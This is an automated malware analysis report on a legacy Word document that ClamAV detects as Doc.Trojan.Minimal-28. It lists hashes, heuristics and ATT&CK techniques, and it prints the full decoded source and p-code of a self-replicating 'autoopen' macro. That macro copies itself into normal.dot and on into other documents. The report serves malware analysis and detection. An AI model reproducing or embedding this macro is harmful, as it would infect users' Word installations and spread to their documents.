Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a0cc4efe7ac8b94c…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-01-29 07:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8f98419d1ca4c6a0ec5b2ad13f51dff7 SHA-1: 148274a594d315347a9a7d9e0bf316409f9aeeb6 SHA-256: a0cc4efe7ac8b94cf4ce98d8b7e098ff1f0860b15ba72b42dd2e0cd723cc552e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is identified as malicious by ClamAV and contains legacy WordBasic and VBA macros. The 'autoopen' macro is designed to execute automatically when the document is opened. It attempts to copy itself to the default template ('normal.dot') using the Organizer functionality, which is a common technique for establishing persistence or spreading.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-28
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3910 bytes
SHA-256: 7ea8ce0a33e4c5a68a0b869f6f55e1410d5bc9c7c8f70a3f5f45153311cef354
Detection
ClamAV: Doc.Trojan.Minimal-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"

Public Sub MAIN()
Dim a$
Dim b$
Dim c$
Dim b_ As Object
Dim c_ As Object
a$ = "autoopen"
b$ = WordBasic.[FileName$]()
c$ = WordBasic.[DefaultDir$](2) + "\normal.dot"
Dim a_ As Object: Set a_ = WordBasic.DialogRecord.Organizer(False)
Set a_ = WordBasic.CurValues.Organizer
a_.Copy = 1
a_.Tab = 3
a_.Name = a$
a_.Source = b$
a_.Destination = c$
On Error Resume Next
WordBasic.Organizer a_
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
If WordBasic.CountMacros(1) = 0 Then
a_.Source = c$
a_.Destination = b$
WordBasic.Organizer a_
Set b_ = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.ScreenUpdating
Set c_ = WordBasic.DialogRecord.FileNew(False)
Set c_ = WordBasic.CurValues.FileNew
c_.NewTemplate = 1
WordBasic.FileNew c_
Set b_ = WordBasic.CurValues.FileSaveAs
WordBasic.FileClose
b_.Name = WordBasic.[FileName$]()
WordBasic.FileSaveAs b_
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/c59e6afdb59d4173beb6df910aa79749.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoopen - 2422 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	Dim 
' 	VarDefn c
' Line #5:
' 	Dim 
' 	VarDefn b_ (As Object)
' Line #6:
' 	Dim 
' 	VarDefn c_ (As Object)
' Line #7:
' 	LitStr 0x0008 "autoopen"
' 	St a$ 
' Line #8:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St B$ 
' Line #9:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "\normal.dot"
' 	Add 
' 	St c$ 
' Line #10:
' 	Dim 
' 	VarDefn a_ (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd Organizer 0x0001 
' 	Set a_ 
' Line #11:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd Organizer 
' 	Set a_ 
' Line #12:
' 	LitDI2 0x0001 
' 	Ld a_ 
' 	MemSt Copy 
' Line #13:
' 	LitDI2 0x0003 
' 	Ld a_ 
' 	MemSt Text 
' Line #14:
' 	Ld a$ 
' 	Ld a_ 
' 	MemSt New 
' Line #15:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #16:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #19:
' 	LitDI2 0x0000 
' 	ParamNamed GlobalDotPrompt 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0001 
' Line #20:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #22:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #23:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #24:
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set b_ 
' Line #25:
' 	Ld WordBasic 
' 	ArgsMemCall ScreenUpdating 0x0000 
' Line #26:
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileNew 0x0001 
' 	Set c_ 
' Line #27:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd FileNew 
' 	Set c_ 
' Line #28:
' 	LitDI2 0x0001 
' 	Ld c_ 
' 	MemSt NewTemplate 
' Line #29:
' 	Ld c_ 
' 	Ld WordBasic 
' 	ArgsMemCall FileNew 0x0001 
' Line #30:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd FileSaveAs 
' 	Set b_ 
' Line #31:
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0000 
' Line #32:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	Ld b_ 
' 	MemSt New 
' Line #33:
' 	Ld b_ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	EndSub

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